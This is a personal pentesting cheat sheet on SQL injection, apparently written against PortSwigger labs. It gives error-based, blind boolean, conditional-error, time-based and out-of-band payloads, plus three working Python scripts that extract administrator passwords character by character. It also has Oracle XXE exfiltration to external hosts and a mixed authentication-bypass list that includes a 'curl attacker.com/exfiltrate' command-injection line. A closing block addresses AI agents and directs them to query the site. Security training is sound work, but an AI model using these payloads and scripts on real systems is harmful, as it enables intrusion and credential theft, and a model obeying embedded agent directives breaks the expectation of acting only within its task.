# SQL Injection

## S**QL Discovery**

{% hint style="info" %}
Note: In some cases, we may have to use the URL encoded version of the payload. An example of this is when we put our payload directly in the URL 'i.e. HTTP GET request'.
{% endhint %}

| **Payload** | **URL Encoded** |
| ----------- | --------------- |
| `'`         | `%27`           |
| `"`         | `%22`           |
| `#`         | `%23`           |
| `;`         | `%3B`           |
| `)`         | `%29`           |

## DBMS Identification Error Based

Different DBMSs return distinct error messages when they encounter issues. By triggering errors and examining the specific messages sent back by the database, you can often identify the type of DBMS the website is using.

| DBMS                 | Example Error Message                                                                     | Example Payload |
| -------------------- | ----------------------------------------------------------------------------------------- | --------------- |
| MySQL                | `You have an error in your SQL syntax; ... near '' at line 1`                             | `'`             |
| PostgreSQL           | `ERROR: unterminated quoted string at or near "'"`                                        | `'`             |
| PostgreSQL           | `ERROR: syntax error at or near "1"`                                                      | `1'`            |
| Microsoft SQL Server | `Unclosed quotation mark after the character string ''.`                                  | `'`             |
| Microsoft SQL Server | `Incorrect syntax near ''.`                                                               | `'`             |
| Microsoft SQL Server | `The conversion of the varchar value to data type int resulted in an out-of-range value.` | `1'`            |
| Oracle               | `ORA-00933: SQL command not properly ended`                                               | `'`             |
| Oracle               | `ORA-01756: quoted string not properly terminated`                                        | `'`             |
| Oracle               | `ORA-00923: FROM keyword not found where expected`                                        | `1'`            |

## Methodology

* Use a simple quote or time query to test the parameter.
  * Oracle Database require "**from dual"** to create a valid query&#x20;

* Different payloads to discover the SQL Type.

  * SQL Error based injection
    * Force error to determine if vulnerable.
  * **SQL Blind injection**
    * Boolean based
      * Pay attention for any modification within the website since it could be alter the behavior website or appears certain item&#x20;
    * Conditional error
      * Force 500 status code error to determine a valid query.
    * SQL Time based Injection
      * Insert  a sleep clause to determine if is vulnerable.&#x20;

* Use **order by** to match with the total number columns to of the affected query
  * Try different values on the number of columns for example (select 1,2,3) or (select null,null,null) or (select 'abc','def')&#x20;

* If the database is oracle you has to specify the **from dual** to make a valid query.

## Visible error-based SQL injection

This attack involves using error messages returned from the database to gather information about its structure.

**Payload:**&#x20;

```sql
'and 1=CAST((select password from users limit 1) as int)--
```

**Common Error Messages and Their Meanings:**

* **`"ERROR: argument of AND must be type boolean, not type integer"`**\
  → You need to carefully analyze the error message on the fly to adapt the query. Sometimes, the application forces you to use a boolean to retrieve the values.
* **`"Error: Unterminated string literal started at position 95 in ......"`**\
  → This means you need to shorten the string value.

**Forcing an SQL syntax error.**&#x20;

<figure><img src="/files/M3TCuFguXLnvLVnqNS9F" alt=""><figcaption></figcaption></figure>

**levering the error message to retrieved the username**

<figure><img src="/files/TkVM97dS5yPuWY22sDPi" alt=""><figcaption></figcaption></figure>

**Retrieving the administrator's password**

<figure><img src="/files/TqrMP5SNvbwgSej6xy8s" alt=""><figcaption></figcaption></figure>

## Blind SQL Injections

### **Blind SQL Injection with Conditional Responses (Boolean-Based)**

This attack relies on observing how the application conditionally responds when a specific query evaluates to `True` or `False`.

#### **Methodology**

1. **Identify the vulnerable parameter** → Inject controlled inputs to determine if the parameter is susceptible to SQL Injection.
2. **Analyze the boolean response behavior** → Observe how different conditions (`True` vs. `False`) modify the application's response.
3. **Adapt the script to the boolean response** → Structure an automated approach based on the application's response pattern.
4. **Determine the length of the target string** → Use length-based queries to retrieve the number of characters in the desired data.
5. **Extract the data character by character** → Iteratively retrieve the content by leveraging the boolean response mechanism.

#### Automation Script

```python
#!/usr/bin/python3
from string import printable
from pwn import log
import requests
import signal
import sys

def handler(sig, frame):
    logging.info("\n[!] Saliendo...")
    sys.exit(0)

signal.signal(signal.SIGINT, handler)

all_ascii = printable
burp0_url = "https://<SNIF>.web-security-academy.net:443/filter?category=Pets"
p1 = log.progress("Payload")
p2 = log.progress("Retrieved")
extracted_data = ''

# INJECTION TO GET THE LENGHT: ' or (select LENGTH(concat(username,password)) from users limit 1)>=33--
for i in range(1,33):
    for char in all_ascii:
        burp0_cookies = {"TrackingId": "' or (select substring(concat(username,password),{},1) from users limit 1)='{}'-- -".format(i,char), "session": "WrpZoj2wutvDkh7srnxakgKqCgO0pjHW"}
        p1.status(burp0_cookies['TrackingId'])
        r1 = requests.get(burp0_url, cookies=burp0_cookies)
        if("Welcome back!" in r1.text):
            extracted_data += char
            p2.status(extracted_data)
            break

p2.success()
p1.success()
```

### **Blind SQL Injection with Conditional Errors**

This technique forces the web application to trigger a `500 Internal Server Error` to determine if a specific condition in the query is valid, allowing us to extract database information.

#### **Methodology**

1. **Identify the vulnerable parameter** → Inject controlled inputs to determine if the parameter is susceptible to SQL Injection.
2. **Force an application error** → Inject queries that cause the database to produce an error (`500` status code).
3. **Adapt the script to conditional errors** → Automate the extraction based on response status or application behavior.
4. **Determine the length of the target string** → Use length-based queries to retrieve the number of characters in the desired data.
5. **Extract the data character by character** → Iteratively retrieve the content by leveraging the response status mechanism.

#### **Example Payloads**

**Injection Structure:**

{% code overflow="wrap" %}

```sql
'||(select CASE WHEN (CONDITION-HERE) then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||'
```

{% endcode %}

**Extract password length:**

```
'||(select CASE WHEN LENGTH(password)>=20 then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||'
```

**Extract password value (character by character):**

```sql
'||(select CASE WHEN substr(password,1,1)='a' then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||'
```

#### Automatic script

```python
#!/usr/bin/python3

import requests,signal,sys
from pwn import log
from string import printable

def handler(key,frame):
    print("\t\n [!] Exiting...!!")
    sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)

url = 'https://0ac400ff0447b7bc84ee8b4300a40062.web-security-academy.net/filter?category=Pets'
all_ascii = printable
p1 = log.progress("Payload")
p2 = log.progress("Data")
extracted_data = ''

# Injection to get the password len: '||(select CASE WHEN LENGTH(password)>=20 then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||'
for i in range(1,21):
    for char in all_ascii:
        cookies = {
                "TrackingId": "C0abCpzF2t3k8PB5'||(select CASE WHEN substr(password,{},1)='{}' then TO_CHAR(1/0) ELSE '' END from users where username='administrator')||';".format(i,char),
                "session":"9DbVm4fSalnNL3fX8rSSfU3SCPLAjrb5"
        }
        p1.status(cookies['TrackingId'])
        r1 = requests.get(url,cookies=cookies)
        if(r1.status_code == 500):
           extracted_data += char
           p2.status(extracted_data)
           break;

p2.success()
p1.success()
```

### Blind SQL Injection time based

**Identify Time Based**

```sql
'select 1 from pg_sleep(5)
';(select 1 from pg_sleep(5))
'||(select 1 from pg_sleep(5))
```

**Extract password length**

```sql
x';select case when LENGTH(password)>19 then pg_sleep(3) else pg_sleep(0) end from users limit 1--
```

**Extract password value**

```sql
x';select case when substring(username,1,1)='a' then pg_sleep(3) else pg_sleep(0) end from users limit 1--
```

#### Automatic script

```python
#!/usr/bin/python3
import requests,sys,signal,time
from string import printable
from pwn import log

def handler(key,frame):
    print("\t\n [!] Exiting....")
    sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)

url = 'https://0a6e00f5031951a486b3acbc001c00bc.web-security-academy.net/filter?category=Pets'
extracted_data = ''
all_ascii= printable

p1 = log.progress("Payload")
p2 = log.progress("Extracted Value")

for i in range(1,21):
    for char in all_ascii:
        cookies = {
                "TrackingId":"x'%3bselect+case+when+substring(password,{},1)%3d'{}'+then+pg_sleep(3)+else+pg_sleep(0)+end+from+users+limit+1--".format(i,char),
                "session":"LVvBoEEI1AZ21DPboHGWnWFMoMiaUCZt"
                }
        p1.status(cookies['TrackingId'])
        start_time = time.time()
        r1 = requests.get(url,cookies=cookies)
        end_time = time.time()
        total_time = end_time-start_time

        if(total_time > 3):
            extracted_data+=char
            p2.status(extracted_data)
            break

p1.success()
p2.success(extracted_data)

```

### Blind SQL injection with out-of-band interaction&#x20;

```sql
#Oracle
' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://v51k9gcznzejgagv2ln5yjityk4bs8gx.oastify.com/"> %remote;]>'),'/l') FROM dual)--
```

### Blind SQL injection with out-of-band data exfiltration

```sql
#Oracle
' ||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users where username='administrator')||'.eq83uzxi8iz21t1en48oj23cj3pudv1k.oastify.com/"> %remote;]>'),'/l') FROM dual)--
```

## Bypass WAF with burpsuite with Hackvector

{% embed url="<https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100>" %}

Hackvertor is a powerful, versatile tool designed to supercharge your workflows by seamlessly converting, encoding, and transforming text or code.

**WAF example response:**

<figure><img src="/files/R8Stz6t4Mc5jm3P3pYZX" alt=""><figcaption></figcaption></figure>

To obfuscate the payload Just highlight your input, right-click, then select **Extensions > Hackvertor > Encode > dec\_entities/hex\_entities.** finally, send the request.

<figure><img src="/files/C6RSq1QqR4Ta236Kj0w1" alt=""><figcaption></figcaption></figure>

## Authentication bypass

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md#authentication-bypass>" %}

<pre class="language-java"><code class="lang-java">// Inyecciones SQL Clásicas (MySQL, PostgreSQL, MSSQL, etc.)
' OR '1'='1'-- -
' OR 1=1# 
' OR 1=1-- 
admin'-- 
' UNION SELECT 1, 'admin', 'passwordhash'-- -
' OR SLEEP(5)-- - (Time-Based Blind SQLi)

// Variantes con codificación URL (SQLi)
%27%20OR%201%3D1--%20-
%27%20UNION%20SELECT%201,user(),3--%20-

// NoSQL Injection (MongoDB, CouchDB, etc.)
username[$ne]=admin&#x26;password[$ne]=admin
{"username": "admin", "password": {"$ne": "Intrusionz3r0"}} 
{"username": {"$ne": null}, "password": {"$ne": null}} 
{"username": "admin", "password": {"$regex": "^.*"}} 
{"$where": "true"} 
{"username": {"$exists": true}, "password": {"$exists": true}}
{"username": "admin", "password": {"$gt": ""}} 

// NoSQL Injection en URL/Formularios
username=admin&#x26;password[$gt]=
username[$regex]=^a&#x26;password[$ne]=1

// JavaScript/JSON Injection (APIs, Lógica de Aplicación)
admin' || 1==1//
admin' || '1'==='1'//
admin' || 1==1%00
{"username": "admin", "password": {"toString": "1"}} (Abuso de prototipos)

// JWT Token Manipulation
{"alg":"none"} + payload: {"user":"admin","isAdmin":true}

// LDAP Injection (Autenticación LDAP)
*)(uid=*))(|(uid=* 
admin)(&#x26;) 
*)(objectClass=*))(&#x26;(uid=admin

// OS Command Injection (Ejecución de comandos)
; curl https://attacker.com/exfiltrate
`id > /tmp/exploit`
$(whoami)

<strong>// XPath Injection (XML/XPath)
</strong>' or 1=1 or 'a'='a
' | //user[username='admin' and password='' or '1'='1']

//Bypass de Autenticación con Lógica de Aplicación
// Cookie Manipulation
Cookie: isAdmin=true; session=legit_session

// Header Injection
X-Forwarded-For: 127.0.0.1

// Técnicas Adicionales
// Bypass de 2FA
' OR (SELECT COUNT(*) FROM users WHERE username='admin')=1-- -

// Bypass de CAPTCHA
captcha=1&#x26;username=admin'-- -&#x26;password=any
</code></pre>

## Socket SQLmap

```sh
#try connect to socker
wscat -c soc-player.soccer.htb:9000/ws

sqlmap -u 'ws://soc-player.soccer.htb:9000' --data '{"id":"*"}' --batch
```

## Useful Resources

#### Web Page to test SQL Queries

{% embed url="<https://sqlfiddle.com/mysql/online-compiler?id=15b22746-79d1-492a-8225-fb0e96049446>" %}

**Port Portswigger**

{% embed url="<https://portswigger.net/web-security/sql-injection/cheat-sheet>" %}

## Miscellaneous&#x20;

{% code overflow="wrap" %}

```
if you are using extractvalue use concat(0x0a, value) to be able to retrived the values and additional use limit and substring to move between the strings and limit the amount of data. Example: Monitored HTB Machine
```

{% endcode %}

**Mysql Concatenation**: group\_concat(0x0a,value)

**Mysql Limitation value:** limit 0,1

#### ExtractValue example

```bash
id=1 or extractvalue(1,(QUERY HERE))-- -
id=1 or extractvalue(1,(select group_concat(schema_name) from information_schema.schemata))-- -
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/hacking-web/vulnerabilities/database-injections/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
